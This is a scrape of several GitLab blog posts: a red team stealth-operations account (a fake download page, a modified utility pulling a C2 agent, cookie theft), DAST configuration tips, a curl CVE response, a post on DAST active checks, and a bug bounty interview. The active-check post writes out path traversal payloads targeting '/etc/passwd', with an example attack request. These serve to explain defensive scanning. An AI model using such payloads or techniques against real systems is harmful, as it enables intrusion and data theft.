organization.\n\nJust as we did with Purple Teaming, we created an epic to shift to stealth operations by default and aligned it with our quarterly OKR.\n\nThis epic was opened with the following description:\n\n> **OKR:  Improve the maturity of the Red Team by shifting to stealth operations by default**\n>\n> As part of our general team roadmap, we are focusing on maturing the Red Team's processes and procedures this year. This quarter, we will complete various tasks allowing us to shift to a \"stealth by default\" way of performing operations.\n>\n> This will provide the organization a better opportunity to practice detecting and responding to the most relevant and realistic threats.\n>\n> We will do this by:\n>\n> - Refreshing the Red Team Rules of Engagement by collaborating with SIRT and agreeing on processes and procedures.\n> - Researching, documenting, and automating architecture requirements for stealth operations.\n\nWe ended up breaking those two bullet points into separate child epics, as there was a lot of work to do in each.\n\n![child-epics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679157/Blog/Content%20Images/child-epics.png)\n\nThe first child epic, around processes, resulted in output that is mostly public. Some examples are:\n- A short summary of [Stealth Operations](https://handbook.gitlab.com/handbook/security/threat-management/red-team/#stealth-operations) in our general handbook page\n- A new [Stealth Operations](https://handbook.gitlab.com/handbook/security/threat-management/red-team/red-team-roe/#stealth-operations) section in our rules of engagement\n- Example [Stealth Operation Techniques](https://handbook.gitlab.com/handbook/security/threat-management/red-team/red-team-roe/#stealth-operation-techniques) section, also in the rules of engagement\n- Iterations to our [Red Team issue templates](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates)\n\nWe were very transparent with all of these changes. Each change was a merge request, which was visible to everyone at GitLab. We opened a dedicated issue to discuss any concerns and used an all-company Slack channel to invite everyone to provide feedback.\n\nAs an internal Red Team, building relationships across the organization is key to our success. We find that transparency about how we operate helps us maintain this trust.\n\nThe second child epic, around technical research, resulted in outputs that are mostly not public and involved things like:\n- Using \"Attacker VMs\" with Parallels on our corporate laptops. This provides us a space without security monitoring, where we can use commercial VPNs to appear as separate entities when emulating remote attackers.\n- Working with our IT department to acquire our own AWS accounts with exceptions to standard security monitoring. This gives us a space to install our C2 infrastructure, phishing sites, etc.\n- Testing various command and control (C2) frameworks, agents, and redirectors. Designing automation to deploy these environments from scratch with each new operation.\n- Establishing private communication channels and a wiki for Red Team engineers and trusted participants.\n- Testing encrypted secret management tools for temporary storage during operations.\n\n## Results from a recent stealth operation\n\nWith our new tools and processes in place, stealth operations became our default.\n\nOne recent operation began with selecting an attack group that had been in the news for targeting organizations similar to ours. This operation spanned three months - the majority of which was spent on researching the adversary and developing capabilities to emulate them.\n\nWe started with a volunteer from a non-security team at GitLab. They were one of our \"trusted participants\", meaning they were briefed on the operation. We had them visit a website we created which mimicked the download page of a popular open-source desktop utility. They downloaded the utility and followed the on-screen instructions to install and authorize it.\n\nThe application was a modified fork of the legitimate tool, created just for this operation. It contained an embedded script which downloaded our command and control (C2) agent and provided the Red Team access to the laptop. This scenario mirrored the adversary we were emulating, who would deploy malware to engineers' laptops.\n\nUsing an insider to launch the initial payload is a common Red Team technique called an \"assumed breach.\" This allows the Red Team to focus their efforts on emulating post-exploitation activities, where there is more value in practicing detection and response.\n\nWith remote access achieved, the Red Team conducted various attack techniques locally on the laptop to steal web browser cookies and impersonate their active sessions.\nFrom there, we pursued further objectives similar to those of our emulated adversary.\n\nThese techniques triggered an alert from our SIEM system. This created an incident with our SIRT team, who immediately took action to contain and investigate the incident.\n\nSelect members of security leadership were included as trusted participants in the operation. We were all closely monitoring the investigation from a Slack room set up for this purpose. This allowed the SIRT engineers to experience responding to a very realistic attack while preventing the incident from escalating too far.\n\nAt some point during the investigation, it was revealed that the attacker was in fact the Red Team. SIRT had performed a thorough investigation, collaborating across the team to trace the attack back to our initial access vector.\n\nThis operation helped us validate some existing detection capabilities, recommend improvements for more, and give the team a chance to work together to solve an interesting challenge in a safe and controlled environment. This type of experience only comes from conducting attack operations in stealth, which is exactly why we have an internal Red Team at GitLab.\n\n## What we learned\n\nAt GitLab, we believe that performing Red Team operations in stealth provides the most realistic opportunity to practice detecting and responding to real-life attacks.\n\nWe also realize that every organization is different, and your security evolution may follow a different path.\n\nWe learned that having a plan defined early on and shared transparently across the organization was key to success.\nHere are the things that helped us the most:\n- Defining a maturity model and using it as a roadmap.\n- Committing to broad goals defined in GitLab epics, and breaking them down into manageable tasks inside GitLab issues.\n- Thoroughly documenting processes in our handbook and in GitLab issue templates.\n\nWe would love to hear your thoughts on Red Teaming and how you've managed your own security evolution. If there are any specific topics you'd like our team to write about in the future, please let us know. Feel free to comment below or to open issues or merge requests in any of [our public projects](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public).",[14,675],{"slug":2563,"featured":92,"template":677},"stealth-operations-the-evolution-of-gitlabs-red-team","content:en-us:blog:stealth-operations-the-evolution-of-gitlabs-red-team.yml","Stealth Operations The Evolution Of Gitlabs Red Team","en-us/blog/stealth-operations-the-evolution-of-gitlabs-red-team.yml","en-us/blog/stealth-operations-the-evolution-of-gitlabs-red-team",{"_path":2569,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2570,"content":2575,"config":2580,"_id":2582,"_type":16,"title":2583,"_source":17,"_file":2584,"_stem":2585,"_extension":20},"/en-us/blog/tips-to-configure-browser-based-dast-scans",{"title":2571,"description":2572,"ogTitle":2571,"ogDescription":2572,"noIndex":6,"ogImage":746,"ogUrl":2573,"ogSiteName":767,"ogType":768,"canonicalUrls":2573,"schema":2574},"Tips to configure browser-based DAST scans","Learn how to use the browser-based analyzer with common dynamic application security testing settings, based on web application attributes, to ensure successful scans.","https://about.gitlab.com/blog/tips-to-configure-browser-based-dast-scans","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tips to configure browser-based DAST scans\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Byrne\"},{\"@type\":\"Person\",\"name\":\"Jerez Solis\"}],\n        \"datePublished\": \"2023-11-14\",\n      }",{"title":2571,"description":2572,"authors":2576,"heroImage":746,"date":2577,"body":2578,"category":14,"tags":2579},[2050,1054],"2023-11-14","The GitLab Dynamic Application Security Testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) scan uses an actively running environment to crawl the application and find misconfigurations of your application server or incorrect assumptions about security controls that may not be visible from the source code. GitLab now provides a proprietary [browser-based analyzer](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html) for scanning applications that make heavy use of JavaScript, including single-page web applications. The DAST scan needs to be configured properly to account for various web application attributes, including authentication mechanism, authenticated landing page, and page load times. In this tutorial, you will learn common configurations that have helped our customers use the browser-based analyzer to successfully implement DAST scans. \n\n## General considerations\n\nThe browser-based DAST scan takes the URL of the application it's supposed to scan from the `DAST_WEBSITE` environment variable. This should point to a test environment - you should not run a DAST scan against a production environment, even if you are only running a passive scan. For ephemeral environments that are deployed as part of the CI/CD pipeline, you can save the URL of the environment as an artifact `environment_url.txt`, which will then be used by the [DAST scan template job](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml) to set the `DAST_WEBSITE` variable.  The [GitLab Auto DevOps deploy template job](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) has an example of this. \n\nDepending on the size of the web application, a DAST scan may take an hour or more to complete. You will want to ensure that whatever runner is used to perform the DAST scan has a [job timeout value](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#set-maximum-job-timeout-for-a-runner) set to be long enough to allow the scan to complete. Similarly, you should ensure that the [project level CI/CD timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#set-a-limit-for-how-long-jobs-can-run) is sufficient to allow the job to complete. **Note:** Shared runners on gitlab.com have a runner timeout of 180 minutes, regardless of the project CI/CD timeout set.\n\n## Configuration options for websites requiring authentication\n\nMany web applications require a user to log in to access the site. Logins can be implemented as basic http authentication or, more commonly, as form authentication.  For form authentication, the login form might be implemented in one of several ways:\n\n1. username and password fields on the main website landing page\n2. a login button that opens a modal (also called a modal window or lightbox) that displays in front of the page and disables all other page content until the login is completed or the modal is closed; there is not a separate URL associated with a modal window\n3. a login button that opens a new window, with its own URL \n\nAdditionally, the form may be either a single-step form, where the username and password fields are on the same page, or a multi-step form, where the username and password fields are on separate pages.  \n\nWhen running a DAST scan, the analyzer must know how to [authenticate](https://docs.gitlab.com/ee/user/application_security/dast/authentication.html).  We need to specify these details via the appropriate variables.  \n\nThe `DAST_USERNAME` and `DAST_PASSWORD` variables specify the login credentials to be used. The variable values should be set via masked variables at the project level, not included within the `.gitlab-ci.yml` file.\n\n### URL variable values\n\nVarious URL values must also be specified: \n   - `DAST_AUTH_URL` - the URL of the login page\n   - `DAST_WEBSITE` - specifies the URL of the page the user is redirected to after logging in\n\n**Note:** If your website uses authentication with a login button that opens a new window with its own URL, you should specify the URL of that new window as the `DAST_AUTH_URL` value.  \n\nGitLab enhancements are currently being implemented to support cases where additional actions must be taken post-login prior to being brought to the main site. See [this epic](https://gitlab.com/groups/gitlab-org/-/epics/11585)  for details: DAST browser-based analyzer multi-step login form does not support 'keep me signed in' workflow (AzureAD).\n\n### Field variable values\n\n`FIELD` variables specify the page elements used. These values can typically be identified by inspecting the page source. For single-step login pages, you will need to specify:\n - `DAST_USERNAME_FIELD`\n - `DAST_PASSWORD_FIELD`\n - `DAST_SUBMIT_FIELD` \n\nFor multi-step logins, you would instead specify:\n\n - `DAST_FIRST_SUBMIT_FIELD` - the button clicked after entering the username\n - `DAST_SUBMIT_FIELD` - the button clicked after entering the password\n\nIf your login button opens a modal, you should also specify `DAST_BROWSER_PATH_TO_LOGIN_FORM`, which provides the path of elements to click to get from the initial login URL to the login fields.\n\n#### Examples\n\n![username email field](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683113/Blog/Content%20Images/username_email_field.png)\n\nIn this example, you can target the input element for the username field in different ways. Keep in mind that the selector you chose should be resilient to the application changing. We recommend to use the `id` and `name` attributes, as these are generally unique on a page and rarely change.\n\n```\nDAST_USERNAME_FIELD: \"id:user_login\"\nDAST_USERNAME_FIELD: \"name:user[login]\"\nDAST_USERNAME_FIELD: \"css:input[type=text]\"\n```\n\nThe same process can be followed for the password field. For example:\n\n```\nDAST_PASSWORD_FIELD: \"id:user_password\"\nDAST_PASSWORD_FIELD: \"name:user[password]\"\nDAST_PASSWORD_FIELD: \"css:input[type=password]\"\n```\n\n**Submit/Sign in/Login button**\n\n![login](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683114/Blog/Content%20Images/login.png)\n\nYou can target the submit/sign in/login button using this selector:\n\n```\nDAST_SUBMIT_FIELD: \"css:button[type=submit]\"\n```\n\n**Note:** If the submit button is not a `\u003Cbutton>`, but an input element in the form of `\u003Cinput type=\"submit\" name=\"login\">`, you can use one of the following selectors:\n\n```\nDAST_SUBMIT_FIELD: \"css:input[type=submit]\"\nDAST_SUBMIT_FIELD: \"css:input[name=login]\"\n```\n\n### Other variables to set\n\nIf the username and password fields are on separate pages, DAST has to wait after submitting the username before looking for the password field.\n\nThe `DAST_BROWSER_ACTION_STABILITY_TIMEOUT` variable, with a default value of 800ms, specifies the wait time. This time can be increased if the login response time is slow.\n\nIf the website has a large JavaScript file that is required to load the target application, it is recommended that you use the variable `DAST_BROWSER_MAX_RESPONSE_SIZE_MB` to increase the limit for response sizes. The default is 10MB but can be increased for 50MB or more, if necessary.\n\n## Tools for troubleshooting\n\nSeveral tools will help with DAST scan troubleshooting:\n\n- [authentication report](https://docs.gitlab.com/ee/user/application_security/dast/authentication.html#configure-the-authentication-report) - This report can be produced during the scan and saved as a CI/CD job artifact to assist with understanding the cause of an authentication failure. The report contains steps performed during the login process, HTTP requests and responses, the Document Object Model (DOM), and screenshots. To configure the report, set `DAST_AUTH_REPORT` to `true` and configure an artifacts attribute for the DAST job, e.g.:\n\n```\ndast:\n   variables:\n      DAST_WEBSITE: \"https://example.com\"\n      DAST_AUTH_REPORT: \"true\"\n    artifacts:\n      paths: [gl-dast-debug-auth-report.html]\n      when: always\n```\n\n- [analyzer logs](https://docs.gitlab.com/ee/user/application_security/dast/browser_based_troubleshooting.html#browser-based-analyzer-logging) - Setting `DAST_BROWSER_LOG` to `auth:debug` or `auth:trace` will provide additional logging that may help identify an issue with the scan. \n\nThe browser-based DAST scan configuration depends on the specific attributes of the web application you're testing, including how authentication is implemented to access the web site, what buttons are used, and how fast your browser loads once the user has authenticated. Using the appropriate variables to guide the analyzer through the authentication process will ensure that you are able to run a successful scan. And robust error logging and the authentication report will provide additional pointers to where the configuration might be incorrect and need to be adjusted.\n\nTry DAST scanning with [a free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n## Read more\n- [How to configure DAST full scans for complex web applications](https://about.gitlab.com/blog/how-to-configure-dast-full-scans-for-complex-web-applications/)\n- [How we're using DAST 2 for easier scan configuration](https://about.gitlab.com/blog/how-were-using-dast2-for-easier-scan-configuration/)\n",[14,2093,2093,696],{"slug":2581,"featured":6,"template":677},"tips-to-configure-browser-based-dast-scans","content:en-us:blog:tips-to-configure-browser-based-dast-scans.yml","Tips To Configure Browser Based Dast Scans","en-us/blog/tips-to-configure-browser-based-dast-scans.yml","en-us/blog/tips-to-configure-browser-based-dast-scans",{"_path":2587,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2588,"content":2594,"config":2600,"_id":2602,"_type":16,"title":2603,"_source":17,"_file":2604,"_stem":2605,"_extension":20},"/en-us/blog/gitlab-response-to-cve-2023-38545",{"title":2589,"description":2590,"ogTitle":2589,"ogDescription":2590,"noIndex":6,"ogImage":2591,"ogUrl":2592,"ogSiteName":767,"ogType":768,"canonicalUrls":2592,"schema":2593},"GitLab's response to curl and libcurl security vulnerability","Learn about CVE-2023-38545, which leverages a heap buffer overflow through the SOCKS5 protocol, and what it means for GitLab customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672878/Blog/Hero%20Images/securityscreen.jpg","https://about.gitlab.com/blog/gitlab-response-to-cve-2023-38545","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s response to a high severity vulnerability impacting curl and libcurl\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-10-12\",\n      }",{"title":2595,"description":2590,"authors":2596,"heroImage":2591,"date":2597,"body":2598,"category":14,"tags":2599},"GitLab’s response to a high severity vulnerability impacting curl and libcurl",[772],"2023-10-12","\n\nOn October 4, the developers of curl [announced](https://github.com/curl/curl/discussions/12026) that they would release a fix for a high severity vulnerability impacting curl and libcurl (CVE-2023-38545) with curl [8.4.0](https://curl.se/docs/vuln-8.4.0.html) on October 11. This vulnerability leverages a heap buffer overflow through the SOCKS5 protocol. Detailed information regarding the requirements for an environment to be vulnerable are outlined in [curl’s security advisory](https://curl.se/docs/CVE-2023-38545.html). \n\n## Are you affected?\n\n**Based on our investigation, we did not identify any SOCKS5 usage in the GitLab.com or GitLab Dedicated environments.** GitLab.com and GitLab Dedicated customers are not susceptible to this vulnerability because it does not allow for the configuration of a SOCKS5 proxy.\n\nSelf-managed customers who may be operating a SOCKS5 proxy in coordination with their GitLab application should refer to [curl’s security advisory](https://curl.se/docs/CVE-2023-38545.html) to assess their exposure to this vulnerability. This vulnerability affects libcurl versions 7.69.0 to 8.3.0. The developers of curl are encouraging all affected users to upgrade to curl version [8.4.0](https://curl.se/docs/vuln-8.4.0.html).\n\n## Assessing the impact to GitLab's platform, users, and customers\n\nUpon learning of the vulnerability's existence, GitLab’s security and development teams took proactive measures to identify where curl and libcurl were leveraged across the GitLab environment. This scoping exercise allowed us to develop initial assumptions regarding the potential impact to GitLab’s platforms, users, and customers.\n\nAfter the vulnerability disclosure by the developers of curl, our teams leveraged their extensive proactive scoping and investigated SOCKS5 usage across our environment through the use of options and environment variables.\n\nGitLab prioritizes and values security. Our response to this vulnerability was conducted with the security of our platform and the security of our customers’ data as the priority. The GitLab Security team will continue monitoring the situation and will update this blog post with any important details or required actions as needed.\n",[14,798],{"slug":2601,"featured":6,"template":677},"gitlab-response-to-cve-2023-38545","content:en-us:blog:gitlab-response-to-cve-2023-38545.yml","Gitlab Response To Cve 2023 38545","en-us/blog/gitlab-response-to-cve-2023-38545.yml","en-us/blog/gitlab-response-to-cve-2023-38545",{"_path":2607,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2608,"content":2613,"config":2619,"_id":2621,"_type":16,"title":2622,"_source":17,"_file":2623,"_stem":2624,"_extension":20},"/en-us/blog/dast-release-first-gitlab-active-check",{"title":2609,"description":2610,"ogTitle":2609,"ogDescription":2610,"noIndex":6,"ogImage":1107,"ogUrl":2611,"ogSiteName":767,"ogType":768,"canonicalUrls":2611,"schema":2612},"Introducing GitLab browser-based active checks in DAST","As of GitLab 16.4, or DAST 4.0.9, browser-based DAST active scans will search for path traversal vulnerabilities using the GitLab check 22.1 instead of the ZAP alert 6.","https://about.gitlab.com/blog/dast-release-first-gitlab-active-check","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab browser-based active checks in DAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cameron Swords\"}],\n        \"datePublished\": \"2023-10-10\",\n      }",{"title":2609,"description":2610,"authors":2614,"heroImage":1107,"date":2616,"body":2617,"category":14,"tags":2618},[2615],"Cameron Swords","2023-10-10","\nGitLab's [DAST](/direction/secure/dynamic-analysis/dast/) and [Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/) teams released the first GitLab active check in browser-based dynamic application security testing. This continues our work to integrate passive checks into browser-based DAST. As of GitLab 16.4, or DAST 4.0.9, browser-based DAST active scans will search for path traversal vulnerabilities using the GitLab check [22.1](https://docs.gitlab.com/ee/user/application_security/dast/checks/22.1.html) instead of the ZAP alert [6](https://www.zaproxy.org/docs/alerts/6/).\n\nReplacing ZAP alerts with GitLab active checks enables developers and security teams to detect vulnerabilities in modern-day web applications more effectively. Going forward, we anticipate replacing more ZAP alerts with GitLab active checks. If you are interested in using the browser-based DAST analyzer, please see: [How to configure a browser-based DAST scan documentation](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html).\n\nBelow is an explanation of how active checks work, different types of attacks, and worked examples of browser-based attacks.\n\n## How to use GitLab active checks\nCustomers who run active scans (full scans) will automatically run GitLab active checks as they are tested and released by the DAST team. Each corresponding ZAP alert will be turned off at this time.\n\nCustomers can opt out of these changes, disabling the GitLab active checks and re-enabling the ZAP alerts by adding the CI/CD variable `DAST_FF_BROWSER_BASED_ACTIVE_ATTACK: \"false\"`.\n\n## What is an active check?\nAn active check defines a series of attacks that, when run against the target web application, identify susceptibility to specific kinds of weakness ([CWE](https://cwe.mitre.org/)). Active checks are run during the [active scan](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html#active-scans) (full scan) phase of a DAST scan.\n\n## What does an active check attack do?\n[In-scope](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html#managing-scope) HTTP requests recorded during the crawl phase of the DAST scan are searched for injection locations, places in the request where an attack payload can be injected. Example injection locations include cookie values, request paths, query parameters, headers, JSON string values, XML, and inputs submitted with a form.\n\nEach attack defines payloads, which are text or binary content to inject into an HTTP request. Payloads can have prefixes (e.g. `c:\\`) or affixes (e.g. `.exe`). Payloads can be an extension of the value originally submitted with the HTTP request.\n\nEvery active check attack will be run against every crawled HTTP request's injection locations. Each injection location may have multiple attack payloads injected into it by each attack. Each unique payload injected into an injection location becomes a new HTTP request to send to the target web application. HTTP responses to these requests are used to determine if the attack succeeded.\n\n## Types of attacks\nDifferent types of attacks are necessary to detect different kinds of weaknesses.\n\n### Match response attacks\nMatch response attacks send an attack payload with the HTTP request and search the HTTP response body for unintentionally exposed content. For example, a path traversal attack that uses a payload of `/etc/passwd` might look for evidence of that file in the HTTP response body.\n\nMost attacks are match response attacks.\n\n### Timing attacks\nTiming attacks are useful for blind injection payloads where the success of the attack is determined by how long the target web application took to return the HTTP response. For example, a SQL injection attack might use a payload containing `sleep(15)` to ask the database to pause for 15 seconds and determine attack success if the target web application took longer than 15 seconds to return the HTTP response.\n\nNaive timing attacks are prone to false positives due to unpredictable timing delays introduced by factors such as variable internet speeds and cached content. To mitigate this, each DAST timing attack uses multiple payloads with individual success conditions, and each timing attack must succeed three times in a row to register as a weakness. Timing attacks run one at a time to prevent one attack from skewing the results of other attacks.\n\n### Callback attacks\nCallback attacks are useful to determine if the target web application unintentionally allows data to be exposed to an external entity. For example, a URL in a website query parameter could be injected with the callback server `https://site.com/login?redirect-to=https://callback-server.dast/123456789`. DAST determines if the target web application unintentionally made an HTTP request to an untrusted source by asking the callback server if it received a request with ID `123456789`.\n\nThe initial priority for DAST browser-based attacks is on match response and timing attacks. For callback attacks, see [Breach and Attack Simulation](https://docs.gitlab.com/ee/user/application_security/).\n\n## How are attacks defined?\nThe [Vulnerability Research team](/handbook/engineering/development/sec/secure/vulnerability-research/) writes active checks in YAML to minimize the time required to update or add new checks. A simplified example of the 22.1 path traversal attack looks as follows:\n\n```yaml\nactive_check:\n  attacks:\n    - id: 2\n      type: \"match_response\"\n      description: \"Inject /etc/passwd, report as vulnerable if the response body matches /etc/passwd file contents.\"\n      target_tech: [\"os:unix\"]\n      injection_locations_policy:\n        default:\n          locations:\n            - \"cookie_value\"\n            - \"request_parameter_value\"\n            - \"request_body_parameter_value\"\n            - \"json_value\"\n            - \"xml_value\"\n            - \"multipart_form_data_filename\"\n            - \"multipart_form_data_value\"\n      match_response_attack:\n        payloads: [\"/etc/passwd\"]\n        injections:\n          - template: \"{payload}\"\n          - template: \"{prefix}{payload}{suffix}\"\n            affixes:           \n              - prefix: \"/../../../../../../../../../../../..\"\n                suffix: \"\"\n        matchers:\n          - description: \"Check the HTTP response body to see if it contains the /etc/passwd file contents\"\n            severity: \"High\"\n            match:\n              location: \"response_body\"\n              expression: \"root:.:0:0:\"\n```\n\n## Worked example\nDuring the DAST crawl phase, DAST submits a form with an input field named `file_name` (headers simplified for brevity).\n\n```\nPOST /read-file HTTP/1.1\nAccept: text/html\nContent-Length: 20\nContent-Type: application/x-www-form-urlencoded\nHost: site.com\n\nfile_name=browserker\n```\n\nDuring the active scan phase, DAST creates attacks from crawled HTTP requests. From the above request, injection locations are found for each of the four header values, the request path `/read-file` and the form input value `browserker`. For a path traversal attack with payload `/etc/passwd`, six attack HTTP requests will be made to the target web application, each with the payload injected into the according injection location.\n\nThe attack on the form input value injection location HTTP would be:\n\n```\nPOST /read-file HTTP/1.1\nAccept: text/html\nContent-Length: 20\nContent-Type: application/x-www-form-urlencoded\nHost: site.com\n\nfile_name=/etc/passwd\n```\n\nAssuming the target web application is vulnerable to a path traversal in the form input, it might read the contents of `/etc/passwd` and return it in the HTTP response, such as:\n\n```\nHTTP/1.1 200 OK\nCache-Control: no-store, no-cache, must-revalidate, proxy-revalidate\nContent-Length: 229\nContent-Type: text/html; charset=utf-8\nDate: Mon, 25 Sep 2023 14:55:20 GMT\n\n\u003Chtml>\n\u003Cbody>\n  \u003Cdiv id=\"content\">\n    root:x:0:0:root:/root:/bin/bash\n    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    bin:x:2:2:bin:/bin:/usr/sbin/nologin\n    sys:x:3:3:sys:/dev:/usr/sbin/nologin\n  \u003C/div>\n\u003C/body>\n\u003C/html>\n```\n\nThe DAST path traversal attack regular expression `root:.:0:0:` matches against the HTTP response body, so the attack is successful and a new finding is created.\n\n[Try GitLab's browser-based DAST scanning](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html).\n",[776,695,2093,715,14],{"slug":2620,"featured":6,"template":677},"dast-release-first-gitlab-active-check","content:en-us:blog:dast-release-first-gitlab-active-check.yml","Dast Release First Gitlab Active Check","en-us/blog/dast-release-first-gitlab-active-check.yml","en-us/blog/dast-release-first-gitlab-active-check",{"_path":2626,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2627,"content":2633,"config":2638,"_id":2640,"_type":16,"title":2641,"_source":17,"_file":2642,"_stem":2643,"_extension":20},"/en-us/blog/ask-a-hacker",{"title":2628,"description":2629,"ogTitle":2628,"ogDescription":2629,"noIndex":6,"ogImage":2630,"ogUrl":2631,"ogSiteName":767,"ogType":768,"canonicalUrls":2631,"schema":2632},"Ask a hacker - 0xn3va","Vladislav Nechakhin or @0xn3va, one of our top 10 hacker contributors, joined us for an AMA and details his approach and strategy for bug bounty hunting.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683087/Blog/Hero%20Images/cover-fotis-fotopoulos.png","https://about.gitlab.com/blog/ask-a-hacker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask a hacker - 0xn3va\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2023-10-02\",\n      }",{"title":2628,"description":2629,"authors":2634,"heroImage":2630,"date":2635,"body":2636,"category":14,"tags":2637},[1345],"2023-10-02","Recently, we held a public GitLab AMA (Ask Me Anything) with the bug bounty hunter Vladislav Nechakhin (@0xn3va on HackerOne and Twitter) about why he hacks, how he hacks and advice for others looking to do the same. \n\n_A bit about [Vladislav Nechakhin (@0xn3va)](https://hackerone.com/0xn3va):_\n\nVlad is an application security engineer who helps software development teams create more secure applications. In his spare time, he hunts for vulnerabilities in bug bounty programs and tries to expand his skills and knowledge to become more advanced in the security area. Thanks to this passion, he now leads two [open-source knowledge base projects](https://github.com/0xn3va) for application security engineers. When not working or hunting, he tries to devote time to his beloved wife and for discovering new things through travel.\n\n*Check out the replay from our live Ask Me Anything session with Vlad:*\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/aJagtR77GwI?si=PPyFxsNVoJm5qz0L\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Getting started\n**When you first started doing bug bounty hunting, was it easy to find \"low-hanging fruit,\" or did it take some time to get into the right mindset and learn the tricks?**\n\nVlad: It took some time! My first attempt was back in 2021, and even though I had been learning a lot, I wasn’t able to find anything special or remarkable. But then a year later I decided to try again, and it gave much better results. Honestly, I believe that I am still searching for an approach that works for me, and that there is no final point in this search. The more time you spend on bug bounty, the more it will open up to you. However, it’s impossible to reach a final goal and say “Okay, I now have enough skills to hack anything I’d like\".\n\n**When hunting bugs do you tend to focus on individual companies, or do you focus on a single technology you might have more experience with and then look at what companies that could apply to?**\n\nI focus both on technologies and products that interest me. From my point of view, in order to find critical vulnerabilities you often need to dive deep into the system and understand what components it has and how they work together. I believe that developing this mindset is what allows hackers to grow. Moreover, you can see how this mindset works in real cases in articles by people like [Sam Curry](https://samcurry.net/) or the [Assetnote team](https://blog.assetnote.io/) and other mature researchers. So in summary, I would say that I try to combine both approaches to achieve the best results. \n\n**What advice would you give to someone looking to get started with bug bounties?**\n\nThis is tricky, and I’ve spent time thinking about this. I believe we all have unique experiences, mindsets, and knowledge bases, and it is impossible to recreate someone’s success. Focus on what interests you and create your own unique path.\n\n## Researching the GitLab bug bounty program\n\n**You often spend a lot of time discussing impact with the team, which sometimes has led to reports that have been closed then have been reopened. What are your thoughts around this?**\n\nI think it’s the responsibility of the researcher to show the impact as clearly as possible. Honestly, I do not believe that a security team can easily see the whole picture in a lot of cases. As a researcher, I would like to cover all the gray areas and explain my vision of the vulnerability. In many cases, a team may miss possible exploitation paths and ways of expanding the attack surface. Especially if you are reporting something unique, involving using new techniques or technologies. In other words, you just can’t expect that the team on the other side of the bug bounty program has exactly the same level of knowledge and expertise in a particular area where you have found a vulnerability. \n\nThis may not be a popular opinion, because many argue that post-exploitation and showing impact are often out of scope in bug bounty programs, and that the security team should evaluate risks better from the beginning. There is truth in this, I agree. In many cases, the actual business risks may be so low that the technical impact of a vulnerability will not matter. However, I'd say this is more of an exception.\n\nLastly, it does not mean that a researcher should drop all the data in a database to prove the impact of a found SQL injection vulnerability. I think the key is to find a balance between showing the real impact and actually harming the system. \n\n**What's your experience working with the GitLab security team in contrast to other program teams?**\n\nThe GitLab Security team is one of the most mature teams I have worked with. In contrast to other teams, GitLab provides exceptional transparency.\n\n**It has been noted that you often lean towards code reviews in your reports, and that you often describe both the bug and the root cause. What is your approach to dynamic vs. static testing when it comes to GitLab or in general? Are you switching back and forth, or do you mainly focus on one method?**\n\nI tend to focus on code analysis, as I have a passion to read and review code. I find it interesting to figure out how the code works, and to actually discover the root cause of a vulnerability. I need to know why a vulnerability happened. However, in many cases reviewing code is not enough, and I have to turn to dynamic analysis, as well as debugging if possible.\n\n**Does the design of the UI influence the likelihood of vulnerabilities?** \n\nWell, first of all, I’m not a UI design expert. But however ridiculous as it may sound, it is actually quite important from an application security perspective to understand how a user interacts with an application.\n\nFor example, if some security settings are optional, a complex user interface will not increase the likelihood of using these settings by ordinary users. Moreover, if settings make the user experience more complicated, these settings will be simply disabled by most users.\n\nThis is especially important in critical situations. For example, say that you receive several email notifications that someone has logged into your account from an unfamiliar device. In such situations, a user should have specific steps to mitigate the attack, which, for instance, could be added directly to the email. For instance, maybe there could be a big red button to change your password and to set up two-factor authentication. \n\nAmong security design principles, there is “psychological acceptability” that says that “security functionality should be easy to use, and at the same time transparent to a user.\"\n\nSo, in summary, I think that UI and security actually are closely related and that needs to be considered whilst designing solutions.\n\n**AI is a hot topic at the moment, especially here at GitLab. Do you think it will make your life as a bug hunter easier, or harder? Could you briefly explain why?**\n\nI believe it is easier and harder at the same time. Easier because some issues that I stumble upon nowadays can be solved by using AI, like decreasing the amount of false positive issues while scanning.\n\nHowever, it is also harder because AI is a huge gray area, it significantly increases the attack surface and complicates defense. The patterns and mechanisms that perfectly worked before should be reinvented and applied. 